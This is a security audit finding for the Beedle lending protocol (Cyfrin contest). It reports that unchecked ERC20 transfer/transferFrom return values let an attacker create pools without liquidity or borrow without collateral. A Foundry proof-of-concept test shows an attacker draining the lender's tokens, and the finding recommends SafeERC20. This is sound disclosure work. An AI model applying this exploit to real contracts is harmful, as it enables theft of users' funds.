Unhandled return values of transfer and transferFrom enable a variety of attack paths

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L152-L156

Summary

ERC20 implementations are not always consistent. Some implementations of transfer and transferFrom could return ‘false’ on failure instead of reverting. It is safer to wrap such calls into require() statements to these failures. Otherwise this vulnerability can be maliciously used in multiple ways inside the contracts. For example by taking out a loan without providing collateral or creating pools without providing liquidity into the contract. This gives direct attack paths to steal funds.

Vulnerability Details

Unhandled transfer / transferFrom function calls occur multiple times inside the contracts and allow different attack paths.

The following POC code shows one of these possible attack paths, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/Lender.sol";

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract TestERC20 is ERC20 {

    constructor() ERC20("TestRC20", "TERC20") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    // transferFrom function overwritten so that it returns true / false instead of reverting
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        address spender = _msgSender();

        uint256 currentAllowance = allowance(from, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < amount) {
            return false;
        }
            unchecked {
                _approve(from, spender, currentAllowance - amount);
            }
        }

        _transfer(from, to, amount);
        return true;
    }
}

contract UnhandledReturnValuesTest is Test {
    Lender public lender;

    TestERC20 public loanToken;
    TestERC20 public collateralToken;

    address public attacker = vm.addr(1);

    function setUp() public {

        lender = new Lender();
        loanToken = new TestERC20();
        collateralToken = new TestERC20();

        loanToken.mint(address(lender), 1000 * 10 ** 18);
        loanToken.mint(attacker, 1000 * 10 ** 18);
    }

    function test_unhandled_return_values() public {
        // both start with 1000 loanTokens
        assertEq(loanToken.balanceOf(address(lender)), 1000 * 10 ** 18);
        assertEq(loanToken.balanceOf(attacker), 1000 * 10 ** 18);

        vm.startPrank(attacker);
        // attacker does not approve the tokens to be spent by the lender
        Pool memory p = Pool({
            lender: attacker,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100*10**18,
            poolBalance: 1000*10**18,
            maxLoanRatio: 2*10**18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        bytes32 poolId = lender.getPoolId(attacker, address(loanToken), address(collateralToken));
        lender.removeFromPool(poolId, 1000*10**18);
        vm.stopPrank();

        // now the attacker has them all
        assertEq(loanToken.balanceOf(address(lender)), 0);
        assertEq(loanToken.balanceOf(attacker), 2000 * 10 ** 18);
    }
}

Impact

There are a lot of different ways to use this vulnerability, for example:

If anyone deposited a token which returns booleans instead of reverting, there is a direct attack path to drain them all
Lenders can create pools without providing the necessary liquidity for it
Borrowers can take a loan without providing the necessary collateral for it (and therefore steal it)
Users can increase their staking balances without depositing funds

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Use OpenZeppelins SafeERC20, or a similar security technique in all contracts, which call transfer or transferFrom on any token.

Cyfrin / 2023-07-beedle